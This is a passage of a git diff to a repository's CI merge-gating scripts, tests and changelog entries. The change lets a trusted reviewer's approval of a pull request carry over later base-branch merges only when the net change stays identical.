diff --git a/.changes/pr-pipeline/fix-hold-lift-survives-base-merge-5c81e0d4.md b/.changes/pr-pipeline/fix-hold-lift-survives-base-merge-5c81e0d4.md new file mode 100644 index 0000000000..0f474bdf0f --- /dev/null +++ b/.changes/pr-pipeline/fix-hold-lift-survives-base-merge-5c81e0d4.md @@ -0,0 +1,7 @@ +--- +bump: patch +--- + +### Changed + +- A trusted person's approving review of a head that changes a hold path or widens the trusted-actor list carries over a later merge of the base when the merge changes nothing of its own, so the merge no longer sends the pull request back to them. Only an approving review lifts these holds: removing the human-gated label does not, and a dismissed approval never counts. The approval carries only when every commit since is a merge of commits the base branch holds and the whole net change against the base's tip commit is the same at both heads; the base is read once by its full ref. The owner's cost decision carries by the same rule. A carried approval does not lift the verifier, issue-link or pr-verify FAIL holds. diff --git a/.changes/source-control/fix-hold-lift-survives-base-merge-7d3a91c2.md b/.changes/source-control/fix-hold-lift-survives-base-merge-7d3a91c2.md new file mode 100644 index 0000000000..799bba4130 --- /dev/null +++ b/.changes/source-control/fix-hold-lift-survives-base-merge-7d3a91c2.md @@ -0,0 +1,8 @@ +--- +bump: patch +--- + +### Fixed + +- A trusted person's approving review of a head that changes a hold path now survives a later merge of the base when the merge changes nothing of its own. Each trusted person's newest review that approves, requests changes or was dismissed counts, and lifts only when it approves; a dismissed approval never counts, and removing the human-gated label lifts no hold path. The approval carries to the current head only when every commit since is a merge whose other parents the base branch holds and the net change against the base's tip commit is the same at both heads over every file (`base_merge_carry`, `base_parents`, `base_tip`, `carried_lifters`, and `merge-holds.mjs` `baseMergeCarry`, `baseParents`, `baseTip` and `liftersOf`). The base branch is read once by its full ref, so no tag of the same name stands in for it. A non-merge commit, a merge of another branch or of a commit the base does not hold, a force push that rewrites the approved head, a merge that changes any file differently, an untrusted approver, a head in a fork, and any unreadable input carry nothing. An honest merge after the base changed one of the pull request's files also carries nothing and needs a new approval. A carried approval lifts only the hold path; it never lifts the verifier hold. +- The owner's cost decision carries to a later head only when every commit since is a merge whose other parents the base branch holds (`base_merges_only`), as well as the same net change against the base's tip commit. A rebase, or a commit of its own that leaves the net change the same, no longer carries it. diff --git a/.github/scripts/pr-merge/enable-auto-merge.mjs b/.github/scripts/pr-merge/enable-auto-merge.mjs index 8ec0ab1638..dc18fc904b 100755 --- a/.github/scripts/pr-merge/enable-auto-merge.mjs +++ b/.github/scripts/pr-merge/enable-auto-merge.mjs @@ -24,9 +24,10 @@ // wrote its Hold: line can add one. The rule is merge-holds.pathHold, which // ci-status also runs on every lanes App pull request event and merge // group, so a push after arming is held without waiting for this job. A -// trusted person's approving review of the head lifts it, as ci-status -// lifts it (merge-holds.pathLifters); it lifts no listing or check that -// could not run. A config that does not read arms nothing and labels +// trusted person's approving review of the head, or of an earlier head +// carried over base merges, lifts it, as ci-status lifts it +// (merge-holds.pathLifters and liftersOf); it lifts no listing or check +// that could not run. A config that does not read arms nothing and labels // nothing; the next run reads it again. // - Its head changes no cost path, unless its body links the owner's cost // decision: merge-holds.costHold and costDecision, which ci-status runs too. @@ -174,7 +175,7 @@ import { createGitHub, errorLabel, GitHubError } from "../../actions/check-trust import { rateLimitLatch } from "../../actions/log-api-budget/rate-guard.mjs"; import { humanGatedLabelFrom } from "../pr-unblock/address-feedback.mjs"; import { readHoldPaths } from "../work-resolve-issue/report-outcome.mjs"; -import { BODY_HOLD, costDecision, costHold, humansOf, LANE_HOLD, pathHoldKind, pathLifters, personWrote, vetoers } from "./merge-holds.mjs"; +import { BODY_HOLD, costDecision, costHold, humansOf, LANE_HOLD, liftersOf, pathHoldKind, pathLifters, personWrote, vetoers } from "./merge-holds.mjs"; export { BODY_HOLD, HUMAN_VETO } from "./merge-holds.mjs"; @@ -1018,8 +1019,9 @@ export function decide(pull, { bot, humanGated, holdPaths = null }, detail) { if (detail.filesCapped === true) { return { action: armed ? "disarm" : "none", reason: FILES_CAPPED_REASON, clears: "person" }; } - // A hold path a person clears, lifted by a trusted approval of the head - // (`lifters`) as ci-status lifts it; a listing or check that could not run + // A hold path a person clears, lifted by a trusted person's approval of the + // head or of an earlier head carried over base merges (`lifters`) as + // ci-status lifts it; a listing or check that could not run // is a lane's, which the next run reads again. const pathHeld = pathHoldKind(detail.files, holdPaths); if (pathHeld !== null && pathHeld.kind !== "hold-path") { @@ -1302,7 +1304,15 @@ export async function main({ env = process.env, github, actions, verify, room, s const { paths: files, capped } = await changedFiles(github, `${repo[1]}/${repo[2]}`, pull.number); const humans = trustedHumans(env); const decision = costHold(files, null) ? await costDecision(github, repo[0], pull.number, pull.body, humans, pull.headRefOid, actions) : null; - detail = { ...detail, files, filesCapped: capped, costDecision: decision, lifters: headLifters(detail, humans, pull.headRefOid) }; + let lifters = headLifters(detail, humans, pull.headRefOid); + // An approval of an earlier head carried over base merges + // (merge-holds.liftersOf) lifts the hold path as ci-status lifts + // it, so a base merge after a person's approval does not send the + // pull request back to them. + if (!lifters.length && Array.isArray(holdPaths) && pathHoldKind(files, holdPaths)?.kind === "hold-path") { + lifters = (await liftersOf(github, repo[0], pull.number, pull.headRefOid, humans)).lifters; + } + detail = { ...detail, files, filesCapped: capped, costDecision: decision, lifters }; } } catch (error) { // A read that fails decides nothing and writes nothing. diff --git a/.github/scripts/pr-merge/enable-auto-merge.test.mjs b/.github/scripts/pr-merge/enable-auto-merge.test.mjs index c61a0d4766..e9b04a2a53 100644 --- a/.github/scripts/pr-merge/enable-auto-merge.test.mjs +++ b/.github/scripts/pr-merge/enable-auto-merge.test.mjs @@ -128,6 +128,12 @@ function world(pulls, { failArm = false, armErrors = {}, filesError = null, note const notes = []; const github = async (method, path, body, headers) => { calls.push({ method, path, body, headers }); + // A pull request's own REST answers (`rest`, by path), such as the + // reads of a lift carried over base merges (merge-holds.liftersOf). + const own = method === "GET" ? pulls.find((candidate) => candidate.rest && path in candidate.rest) : undefined; + if (own) { + return own.rest[path]; + } const listing = /^\/repos\/melodic-software\/claude-code-plugins\/pulls\/([0-9]+)\/files\?per_page=100&page=([0-9]+)$/.exec(path); if (method === "GET" && listing && filesError) { throw filesError; @@ -152,7 +158,11 @@ function world(pulls, { failArm = false, armErrors = {}, filesError = null, note if (method === "GET" && path === "/repos/melodic-software/claude-code-plugins/activity?ref=refs%2Fheads%2Ffix%2Fcost&direction=desc&per_page=100") { return [{ after: HEAD, timestamp: "2026-10-22T10:45:00Z", activity_type: "push", ref: "refs/heads/fix/cost" }]; } - if (method === "GET" && path === `/repos/melodic-software/claude-code-plugins/compare/main...${HEAD}`) { + // main resolves to its tip commit, which the lane-change vet compares. + if (method === "GET" && path === "/repos/melodic-software/claude-code-plugins/git/ref/heads/main") { + return { ref: "refs/heads/main", object: { type: "commit", sha: "3".repeat(40) } }; + } + if (method === "GET" && path === `/repos/melodic-software/claude-code-plugins/compare/${"3".repeat(40)}...${HEAD}`) { return { files: [{ filename: "infra/main.tf" }] }; } if (method === "GET" && path === "/repos/melodic-software/claude-code-plugins/actions/runs/9/jobs?filter=all&per_page=100&page=1") { @@ -1367,6 +1377,48 @@ test("a hold path stays held without a trusted approval of the head", async () = assert.deepEqual(writes, [{ mutation: "disarm", id: "PR_55" }]); }); +// The churn measured on #10224: Kyle approved OLD, then a lane merged the +// base. The approval carries to the merge, so it arms and is not labeled +// again; a merge that also edits the hold path is sent back to a person, and +// a label removal alone lifts nothing (the owner's decision on #10596). +test("an approval before a base merge lifts the hold path at the merge, and an evil merge or a label removal does not", async () => { + const OLD = "a".repeat(40); + const MAIN = "5".repeat(40); + const P = "/repos/melodic-software/claude-code-plugins"; + const held = { filename: "docs/held.md", status: "modified", patch: "@@ -1 +1 @@\n-a\n+b" }; + const approval = { id: 41, user: { login: "kyle-sexton", id: 5, type: "User" }, state: "APPROVED", commit_id: OLD, submitted_at: "2026-10-27T23:26:14Z" }; + // main resolves to TIP, its tip commit, which every compare names. + const TIP = "3".repeat(40); + const rest = (number, headFiles, reviews = [approval]) => ({ + [`${P}/pulls/${number}`]: { head: { sha: HEAD, ref: `fix/held-${number}`, repo: { full_name: "melodic-software/claude-code-plugins" } }, base: { ref: "main" }, changed_files: headFiles.length }, + [`${P}/git/ref/heads/main`]: { ref: "refs/heads/main", object: { type: "commit", sha: TIP } }, + [`${P}/pulls/${number}/reviews?per_page=100&page=1`]: reviews, + [`${P}/compare/${TIP}...${OLD}`]: { files: [held], commits: [{ sha: OLD, parents: [{ sha: MAIN }] }], total_commits: 1 }, + [`${P}/compare/${MAIN}...${TIP}`]: { status: "ahead" }, + [`${P}/compare/${TIP}...${HEAD}`]: { files: headFiles, commits: [{ sha: OLD, parents: [{ sha: MAIN }] }, { sha: HEAD, parents: [{ sha: OLD }, { sha: MAIN }] }], total_commits: 2 }, + }); + const lifted = await run([pull(60, { files: HELD, rest: rest(60, [held]) })], trustedKyle()); + assert.deepEqual(lifted.writes, [{ mutation: "arm", id: "PR_60", head: HEAD }]); + assert.deepEqual(lifted.notes, []); + const evil = await run([pull(61, { files: HELD, rest: rest(61, [{ ...held, patch: "@@ -1 +1 @@\n-a\n+evil" }]) })], trustedKyle()); + assert.deepEqual(evil.writes, []); + assert.deepEqual(evil.notes.map(({ path }) => path), [`${ISSUES}/61/comments`, `${ISSUES}/61/labels`]); + // The label history the earlier reader bound a removal by. + const removal = { + ...rest(62, [held], []), + [`${P}/issues/62/events?per_page=100&page=1`]: [ + { event: "labeled", label: { name: "needs-human" }, actor: { id: 2, login: "lanes[bot]" }, performed_via_github_app: { slug: "lanes" }, created_at: "2026-10-27T23:05:00Z" }, + { event: "unlabeled", label: { name: "needs-human" }, actor: { id: 5, login: "kyle-sexton" }, performed_via_github_app: null, created_at: "2026-10-27T23:26:14Z" }, + ], + [`${P}/activity?ref=refs%2Fheads%2Ffix%2Fheld-62&direction=desc&per_page=100`]: [ + { after: HEAD, timestamp: "2026-10-27T23:32:00Z" }, + { after: OLD, timestamp: "2026-10-27T23:00:00Z" }, + ], + }; + const removed = await run([pull(62, { headRefName: "fix/held-62", files: HELD, rest: removal })], trustedKyle()); + assert.deepEqual(removed.writes, []); +}); + test("an approval lifts no unread hold-path check and no capped file listing", () => { const options = { bot: LANES.login, humanGated: "needs-human", holdPaths: [] }; const armed = pull(1, { autoMergeRequest: {} }); diff --git a/.github/scripts/pr-merge/merge-holds.mjs b/.github/scripts/pr-merge/merge-holds.mjs index d6f4ef5925..ef919c5b0e 100755 --- a/.github/scripts/pr-merge/merge-holds.mjs +++ b/.github/scripts/pr-merge/merge-holds.mjs @@ -18,25 +18,30 @@ // - A hold path: a changed file, or a renamed file's old path, matching the // config's merge.diff-check.denied-paths or HOLD_PATH_FLOOR (the floor's // `trust` and `gate` globs; its `enforcement` globs are the merge gate's, -// which a clean security review clears). A person on -// the trusted-actor list lifts it by approving the head: their newest -// review of the head that approves, requests changes or was dismissed must -// approve. No other path is held for being trusted alone: the review lanes -// judge it. +// which a clean security review clears). A person on the trusted-actor +// list lifts it by approving the head (their newest review of the head +// that approves, requests changes or was dismissed must approve), or by +// approving an earlier head that carries to it (liftersOf): their newest +// review approves that head, and every change since is a merge of the base +// that leaves the net change against the base's tip the same over every +// file (baseMergeCarry). No other path is held for being trusted alone: the +// review lanes judge it. // - A trusted-actor list widening (actorsHold, the rule of // babysit_risk._actors_widened): TRUSTED_ACTORS_PATH read at the base commit // (BASE_SHA) and the head and compared; only removing entries passes. The -// approval of the head that lifts a hold path lifts it. +// approval that lifts a hold path lifts it. // - A cost path (COST_PATHS): a changed file the gate holds for the owner's // cost decision. An approval does not lift it; only the decision the gate // reads does (costDecision), linked from the body: on the pull request, or // on its linked issue naming it, for the head it decided or a later one -// whose every change since is a base merge. +// whose every change since is a base merge with the same net change +// (baseMergeCarry). // - No verifier pass, when a verdicts file is given (ci-status gives one in // the merge queue only): the head merges on a PASS or PASS-NOTES that // pr-verify.yml uploaded from a completed, successful run on main // (verdictHold). The same approval of the head lifts it, the human merge -// path for a pull request pr-merge's gate sends to a person. +// path for a pull request pr-merge's gate sends to a person; an approval +// carried from an earlier head does not. // - A FAIL the gate's reader counts, when an evidence file is given with the // verdicts: babysit_verify_evidence.py `evidence`'s report for the head, // which ci-status runs from main's checkout in the merge queue @@ -66,8 +71,10 @@ // path and status (changeOf); the denied-paths file the config's // merge.diff-check.denied-paths as JSON; the trusted-actors file // trusted-actors.json. Each hold prints as an ::error:: and exits 1; no hold -// exits 0. Who wrote a body that holds, a changed trusted-actor list, and a -// cost path with a decision link in the body, are read with GH_TOKEN. +// exits 0. Who wrote a body that holds, a changed trusted-actor list, a +// cost path with a decision link in the body, and the approvals of earlier +// heads when no approval of the head lifts a hold path, are read with +// GH_TOKEN. import { Buffer } from "node:buffer"; import { readFileSync } from "node:fs"; import { posix } from "node:path"; @@ -636,7 +643,7 @@ async function listed(read, path, key) { // the head `branch` of `repo` started before `at` (a run from another // repository's same-named branch speaks for another pull request), each // run's head vetted against -// `base` (laneChange), its status job's cost notices (costNotices) from jobs +// `base`, the base branch's tip commit (laneChange), its status job's cost notices (costNotices) from jobs // done before `at`, then decidedHead, kept only while the branch's push // history shows no lane run missing since the decided head (unranHead). A // run on a head that fails the vet, or a read that fails, decides nothing. @@ -691,6 +698,9 @@ const unedited = (node) => Boolean(node) && "lastEditedAt" in node && node.lastE // previous_filename and patch. A list of 300 files or more (the compare // API's cap), a file with no patch, a filename listed twice, or an answer // with no file list is not the same (babysit_merge_policy.same_net_change). +// The compare API reports no file mode, so a change that only flips a +// file's mode (such as making it executable) reads as the same: a known +// residual a merge can carry. export function sameNetChange(decided, current) { const net = (compare) => { const files = compare?.files; @@ -706,6 +716,132 @@ export function sameNetChange(decided, current) { return then !== null && now !== null && then.size === now.size && [...then].every(([name, value]) => now.get(name) === value); } +// The commits a compare answer `now` (base...H') lists beyond `then` +// (base...H), or null when either list is not read whole (shorter than +// total_commits, the compare API's 250). +function newCommits(then, now) { + const listed = (compare) => + Array.isArray(compare?.commits) && Number.isInteger(compare.total_commits) && compare.total_commits === compare.commits.length + ? compare.commits + : null; + const [before, after] = [listed(then), listed(now)]; + if (before === null || after === null) return null; + const old = new Set(before.map((c) => c?.sha)); + return after.filter((c) => !old.has(c?.sha)); +} + +// The parents other than the first of each commit `now` lists beyond `then` +// (newCommits), the ones a base merge must take from the base; a parent +// that is not a 40-hex sha is left out, so it is never in the base. +export function mergedParents(then, now) { + const parents = (newCommits(then, now) ?? []).flatMap((c) => (Array.isArray(c?.parents) ? c.parents.slice(1).map((p) => p?.sha) : [])); + return [...new Set(parents.filter((sha) => /^[0-9a-f]{40}$/.test(String(sha))))]; +} + +// Whether every commit `now` (base...H') lists beyond `then` (base...H) is a +// merge whose every parent but the first is in `inBase` (the parents the +// base holds, read by baseParents), with `from` (H) among `now`'s commits, so +// H' descends from H by merges of the base alone +// (babysit_merge_policy.base_merges_only). A non-merge commit, a merge of +// another branch, a force push that drops H, or a list not read whole +// carries nothing. +export function baseMergesOnly(then, now, from, inBase = new Set()) { + const added = newCommits(then, now); + return ( + added !== null && + now.commits.some((c) => c?.sha === from) && + added.every((c) => Array.isArray(c?.parents) && c.parents.length >= 2 && c.parents.slice(1).every((p) => inBase.has(p?.sha))) + ); +} + +// The one base-merge carry: whether what a person or the owner decided at +// head `from` covers the head `now` was read at, from the compares +// base...from (`then`) and base...head (`now`) against the base's tip commit +// and the merged parents the base holds (`inBase`, from baseParents; an +// array, as ci-status's cost step passes it as JSON, or a Set): every commit +// since is a merge of the base (baseMergesOnly) and the net change is the +// same over every file (sameNetChange), so a merge that writes any change of +// its own carries nothing (babysit_merge_policy.base_merge_carry). +export function baseMergeCarry(then, now, from, inBase = []) { + return baseMergesOnly(then, now, from, new Set(inBase)) && sameNetChange(then, now); +} + +// The merged parents (mergedParents) the base holds, through `compare` (a +// GET of /repos//compare/) against `tip`, the base branch's +// tip commit (baseTip): those whose compare is `ahead` or `identical`. A +// read that fails throws, which carries nothing. +export async function baseParents(compare, tip, then, now) { + const inBase = new Set(); + for (const sha of mergedParents(then, now)) { + if (["ahead", "identical"].includes((await compare(`${sha}...${tip}`))?.status)) inBase.add(sha); + } + return inBase; +} + +// The tip commit of the base branch `base`, read once by its full ref so no +// tag or other ref of the same name stands in for it; a throw when it does +// not read as a commit SHA. +export async function baseTip(github, repo, base) { + const sha = (await github("GET", `/repos/${repo}/git/ref/heads/${base}`))?.object?.sha; + if (!/^[0-9a-f]{40}$/.test(String(sha))) throw new Error(`the base branch ${base} did not resolve`); + return sha; +} + +// Each trusted person's standing approval, as { login, sha }: their newest +// review (REST, fromRest shape) that approves, requests changes or was +// dismissed, when it approves a commit (babysit_merge_policy.lifts_of). +// Only ids in `humans` count; a dismissed approval never does. +export function liftsOf(reviews, humans) { + const newest = new Map(); + for (const r of reviews ?? []) { + if (!r?.isUser || !humans.has(r.userId) || !["APPROVED", "CHANGES_REQUESTED", "DISMISSED"].includes(r.state)) continue; + const made = Date.parse(r.at); + if (Number.isFinite(made) && (!newest.has(r.userId) || made >= newest.get(r.userId).made)) newest.set(r.userId, { ...r, made }); + } + return [...newest.values()].filter((r) => r.state === "APPROVED" && /^[0-9a-f]{40}$/.test(String(r.commitId))).map((r) => ({ login: r.login, sha: r.commitId })); +} + +// The trusted people whose approval (liftsOf) of pull request `number`'s +// `head`, or of an earlier head that carries to it over merges of its base +// branch (baseMergeCarry against the base's tip, baseTip, with +// baseParents), lifts its hold paths, as { lifters }, sorted. It lifts the +// hold path and the trusted-actor list widening only, never the holds an +// approving review of the head itself lifts. Reads: the pull request (a +// head that is no longer `head`, or is in a fork, lifts nothing), the base's +// tip, the reviews, and the compares per approved head. A read that fails +// lifts nothing: the caller keeps the exact-head approvals it read +// (pathLifters). +export async function liftersOf(github, repo, number, head, humans) { + try { + const pull = await github("GET", `/repos/${repo}/pulls/${number}`); + const base = pull?.base?.ref; + if (pull?.head?.sha !== head || pull?.head?.repo?.full_name !== repo || !BRANCH.test(String(base))) return { lifters: [] }; + const reviews = (await pages(github, `/repos/${repo}/pulls/${number}/reviews`)).map(fromRest); + const lifts = liftsOf(reviews, humans); + const tip = lifts.some(({ sha }) => sha !== head) ? await baseTip(github, repo, base) : null; + const compares = new Map(); + const compare = async (range) => { + if (!compares.has(range)) compares.set(range, await github("GET", `/repos/${repo}/compare/${range}`)); + return compares.get(range); + }; + const lifters = new Set(); + for (const { login, sha } of lifts) { + if (sha === head) { + lifters.add(login); + } else { + const [then, now] = [await compare(`${tip}...${sha}`), await compare(`${tip}...${head}`)]; + // A compare listing fewer files than the pull request changes is + // cut short, so it carries nothing. + if (!Array.isArray(now?.files) || now.files.length !== pull.changed_files) continue; + if (baseMergeCarry(then, now, sha, await baseParents(compare, tip, then, now))) lifters.add(login); + } + } + return { lifters: [...lifters].sort() }; + } catch { + return { lifters: [] }; + } +} + // Every page of the REST list at `path`. async function pages(github, path) { const rows = []; @@ -723,26 +859,29 @@ async function pages(github, path) { // Whether the decision `comment` covers the pull request at `head` (owner // decisions Q17 c and Q18 d on #9436): its decided head (noticedHead, read -// with `actions` from the head branch `branch`'s lane runs) is `head`, with -// no compare read, or every change since is a merge of the base branch -// `base`, so the net change against it is the same at both (sameNetChange). -// No decided head, an unusable base name or a read that fails carries -// nothing. +// with `actions` from the head branch `branch`'s lane runs) is `head`, or +// every change since is a merge of the base branch `base`, so the net change +// against it is the same at both (baseMergeCarry). The base is resolved once +// to its tip commit (baseTip), which the lane-change vet and every compare +// name, so no tag of the same name stands in for it. No decided head, an +// unusable base name or a read that fails carries nothing. async function carries(github, actions, repo, comment, head, base, branch) { try { if (typeof base !== "string" || !BRANCH.test(base)) { return false; } - const decided = await noticedHead(actions, repo, branch, base, comment.created_at); + const tip = await baseTip(github, repo, base); + const decided = await noticedHead(actions, repo, branch, tip, comment.created_at); if (decided === null) { return false; } if (decided === head) { return true; } - const then = await github("GET", `/repos/${repo}/compare/${base}...${decided}`); - const now = await github("GET", `/repos/${repo}/compare/${base}...${head}`); - return sameNetChange(then, now); + const compare = (range) => github("GET", `/repos/${repo}/compare/${range}`); + const then = await compare(`${tip}...${decided}`); + const now = await compare(`${tip}...${head}`); + return baseMergeCarry(then, now, decided, await baseParents(compare, tip, then, now)); } catch { return false; } @@ -879,7 +1018,8 @@ export function pathLifters(items, humans, head) { } // Why the pull request's `body`, discussion `items` and changed `files` hold -// it; empty when nothing does. `lifters` approved the head, which lifts a +// it; empty when nothing does. `lifters` approved the head (pathLifters, or +// liftersOf over base merges), which lifts a // hold path but not an unreadable file list or hold-path list, nor a cost // path, which only the owner's `decision` lifts. It lifts `widened` // (actorsHold's reason) too. `byPerson` (personWrote) says whether the body @@ -887,14 +1027,14 @@ export function pathLifters(items, humans, head) { export function holds(body, items, files, holdPaths, lifters = [], decision = null, byPerson = true, widened = null) { const reasons = []; if (widened && !lifters.length) { - reasons.push(`${widened}; an approving review of this head by a person on the trusted-actor list lifts it, then re-run ci-status`); + reasons.push(`${widened}; an approving review of this head by a person on the trusted-actor list lifts it, and the approval carries over later merges of the base that leave its net change the same; then re-run ci-status`); } const pathReason = pathHold(files, holdPaths); const readable = Array.isArray(files) && Array.isArray(holdPaths); if (pathReason && !(readable && lifters.length)) { reasons.push( readable - ? `${pathReason}; an approving review of this head by a person on the trusted-actor list lifts it, then re-run ci-status` + ? `${pathReason}; an approving review of this head by a person on the trusted-actor list lifts it, and the approval carries over later merges of the base that leave its net change the same; then re-run ci-status` : pathReason, ); } @@ -1057,7 +1197,10 @@ export async function main(argv = process.argv.slice(2), { env = process.env, gi throw new Error("the trusted-actor list has no actors"); } const humans = humansOf(actors); - const lifters = pathLifters(items, humans, head); + // Exact-head approvals lift every hold an approval lifts; an approval + // carried over base merges lifts only the hold path and the trusted-actor + // list widening. + const approved = pathLifters(items, humans, head); const body = readFileSync(bodyFile, "utf8"); const repo = String(env.GITHUB_REPOSITORY); const decision = @@ -1070,26 +1213,32 @@ export async function main(argv = process.argv.slice(2), { env = process.env, gi console.log(`#${number}: its body's hold text is the lanes App's own, which holds nothing.`); } const widened = actorsHold(await withActorContents(github, repo, changes, env.BASE_SHA, head)); - const reasons = holds(body, items, files, holdPaths, lifters, decision, byPerson, widened); const held = pathHold(files, holdPaths); + let lifted = { lifters: [] }; + if (!approved.length && ((held && Array.isArray(holdPaths)) || widened) && /^[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+$/.test(repo)) { + lifted = await liftersOf(github, repo, Number(number), head, humans); + } + const lifters = approved.length ? approved : lifted.lifters; + const reasons = holds(body, items, files, holdPaths, lifters, decision, byPerson, widened); + const how = approved.length ? "approved this head" : "approved an earlier head whose every change since is a base merge"; if (held && lifters.length && Array.isArray(holdPaths)) { - console.log(`#${number}: ${lifters.join(", ")} approved this head, which lifts its hold path (${escape(held)}).`); + console.log(`#${number}: ${lifters.join(", ")} ${how}, which lifts its hold path (${escape(held)}).`); } if (widened && lifters.length) { - console.log(`#${number}: ${lifters.join(", ")} approved this head, which lifts its trusted-actor list hold (${escape(widened)}).`); + console.log(`#${number}: ${lifters.join(", ")} ${how}, which lifts its trusted-actor list hold (${escape(widened)}).`); } if (verdictsFile) { const unverified = verdictHold(lines(verdictsFile).map((line) => JSON.parse(line)), env.GITHUB_REPOSITORY); // An approval lifts the verifier hold whole, the link with it. - const relinked = unverified || lifters.length ? null : linkFile ? linkOf(linkFile, body, repo) : "its issue link could not be checked against its verifier pass"; + const relinked = unverified || approved.length ? null : linkFile ? linkOf(linkFile, body, repo) : "its issue link could not be checked against its verifier pass"; if (!unverified && !relinked) { console.log(`#${number}: no verifier hold: pr-verify passed this head.`); - } else if (!unverified && lifters.length === 0) { + } else if (!unverified && approved.length === 0) { // pr-verify skips a head it already passed (resolve-pr.mjs `judged`), // so only a new head or an approval recovers it. reasons.push(`${relinked}; pr-verify does not judge this head again, so push a new head for it to judge, after which enable-auto-merge arms it again, or an approving review of this head by a person on the trusted-actor list lifts it, then re-queue`); - } else if (lifters.length) { - console.log(`#${number}: no verifier hold: ${lifters.join(", ")} approved this head, which lifts '${unverified}'.`); + } else if (approved.length) { + console.log(`#${number}: no verifier hold: ${approved.join(", ")} approved this head, which lifts '${unverified}'.`); } else { reasons.push( `${unverified}; wait for pr-verify to pass it, after which enable-auto-merge arms it again, or an approving review of this head by a person on the trusted-actor list lifts it, then re-queue`, @@ -1099,8 +1248,8 @@ export async function main(argv = process.argv.slice(2), { env = process.env, gi if (!failed) { const refusal = JSON.parse(readFileSync(evidenceFile, "utf8")).refusal; console.log(`#${number}: no pr-verify FAIL hold: ${refusal ? `the reader refuses this head only on its pass (${refusal})` : "the reader allows this head"}.`); - } else if (lifters.length) { - console.log(`#${number}: no pr-verify FAIL hold: ${lifters.join(", ")} approved this head, which lifts '${escape(failed)}'.`); + } else if (approved.length) { + console.log(`#${number}: no pr-verify FAIL hold: ${approved.join(", ")} approved this head, which lifts '${escape(failed)}'.`); } else { reasons.push(`${failed}; push a new head for pr-verify to judge, after which enable-auto-merge arms it again, or an approving review of this head by a person on the trusted-actor list lifts it, then re-queue`); } diff --git a/.github/scripts/pr-merge/merge-holds.test.mjs b/.github/scripts/pr-merge/merge-holds.test.mjs index 3dbafd5340..c51a8d5264 100644 --- a/.github/scripts/pr-merge/merge-holds.test.mjs +++ b/.github/scripts/pr-merge/merge-holds.test.mjs @@ -19,7 +19,7 @@ import { writeFileSync } from "node:fs"; import { join } from "node:path"; import { test } from "node:test"; -import { BODY_WRITERS_QUERY, COMMENT_EDITED_QUERY, HOLD_PATH_CLASSES, HOLD_PATH_FLOOR, PULL_OPENED_QUERY, REVIEW_FLOOR, changeOf, costDecision, costHold, costNotices, decidedHead, evidenceHold, laneChange, linkHold, main, pathHold, sameNetChange, unranHead } from "./merge-holds.mjs"; +import { BODY_WRITERS_QUERY, COMMENT_EDITED_QUERY, HOLD_PATH_CLASSES, HOLD_PATH_FLOOR, PULL_OPENED_QUERY, REVIEW_FLOOR, baseMergeCarry, baseMergesOnly, changeOf, mergedParents, costDecision, costHold, costNotices, decidedHead, evidenceHold, laneChange, linkHold, main, pathHold, sameNetChange, unranHead } from "./merge-holds.mjs"; import { tempDir } from "../../../lib/test-tmp.mjs"; const REPO = "owner/repo"; @@ -57,6 +57,16 @@ const pushesOf = (runs) => // A compare answer: the pull request's files against the base. const TF = { filename: "infra/main.tf", status: "modified", patch: "@@ -1 +1 @@\n-a\n+b" }; const net = (...files) => ({ files }); +// A base commit a merge of the base names as its second parent. +const MAIN = "5".repeat(40); +// `answer` (a compare of base...sha) with the commits a history of base +// merges lists unless it names its own: OLD alone for OLD, OLD and a merge +// HEAD of the base for HEAD, the head alone for any other. +const history = (sha, answer) => { + if (answer === null || typeof answer !== "object" || "commits" in answer || !("files" in answer)) return answer; + const commits = [{ sha: sha === HEAD ? OLD : sha, parents: [{ sha: MAIN }] }, ...(sha === HEAD ? [{ sha: HEAD, parents: [{ sha: OLD }, { sha: MAIN }] }] : [])]; + return { ...answer, commits, total_commits: commits.length }; +}; const comment = (changes = {}) => ({ issue_url: "https://api.github.com/repos/owner/repo/issues/40", @@ -96,6 +106,18 @@ function world({ } return activity; } + // The base branch resolves to TIP; a merged parent against it, of + // which MAIN is in the base. + if (path.startsWith("/repos/owner/repo/git/ref/heads/")) { + reads.push("ref"); + if (fail === "ref") throw new Error("ref failed"); + return { object: { sha: TIP } }; + } + const parent = new RegExp(`^/repos/owner/repo/compare/([0-9a-f]{40})\\.\\.\\.${TIP}$`).exec(path); + if (parent) { + reads.push(`base ${parent[1]}`); + return { status: parent[1] === MAIN ? "ahead" : "diverged" }; + } const compare = /^\/repos\/owner\/repo\/compare\/(.+)\.\.\.([0-9a-f]{40})$/.exec(path); const listing = /^\/repos\/owner\/repo\/actions\/workflows\/([a-z-]+\.yml)\/runs\?event=pull_request&branch=fix%2Fcost&per_page=100&page=1$/.exec(path); const jobs = /^\/repos\/owner\/repo\/actions\/runs\/([0-9]+)\/jobs\?filter=all&per_page=100&page=1$/.exec(path); @@ -129,11 +151,13 @@ function world({ return runs[Number(notes[1]) - 1].notes; } if (compare) { - assert.equal(compare[1], base); + // Every compare, the lane-change vet's and the carry's, names the + // base's tip commit, never the branch. + assert.equal(compare[1], TIP); if (!(compare[2] in answers)) { throw new Error("no such commit"); } - return answers[compare[2]]; + return history(compare[2], answers[compare[2]]); } if (read === "pull") { assert.deepEqual(body.variables, { owner: "owner", name: "repo", number: 99 }); @@ -170,6 +194,7 @@ test("an owner decision on the closing issue, linked from the body, clears the c "pull", "GET /repos/owner/repo/issues/comments/7", "edited", + "ref", "runs pr-review-hosted.yml", `compare ${HEAD}`, "jobs 1", @@ -459,7 +484,7 @@ test("ci-status holds a trusted-actor list widening until a trusted person appro const list = { [BASE]: listOf(KYLE), [HEAD]: listOf(KYLE, LANES) }; const widened = await ci(modified, { list }); assert.equal(widened.code, 1, widened.out); - assert.match(widened.out, /it widens the trusted-actor list \(\.github\/standards\/trusted-actors\/trusted-actors\.json: entries added or changed: .*lanes\[bot\].*\); an approving review of this head/); + assert.match(widened.out, /it widens the trusted-actor list \(\.github\/standards\/trusted-actors\/trusted-actors\.json: entries added or changed: .*lanes\[bot\].*\); an approving review of this head by a person on the trusted-actor list lifts it/); const approved = await ci(modified, { list, reviews: [approve] }); assert.equal(approved.code, 0, approved.out); assert.match(approved.out, /owner-person approved this head, which lifts its trusted-actor list hold/); @@ -527,14 +552,21 @@ test("a base merge after the decision carries it, and a pull request commit afte assert.equal((await later({ [OLD]: net(TF), [HEAD]: net(TF) })).link, LINK); const commit = await later({ [OLD]: net(TF), [HEAD]: net(TF, { filename: "scripts/run.sh", status: "modified", patch: "@@ -1 +1 @@\n-x\n+y" }) }); assert.equal(commit.link, null); - assert.deepEqual(commit.reads.slice(-3), 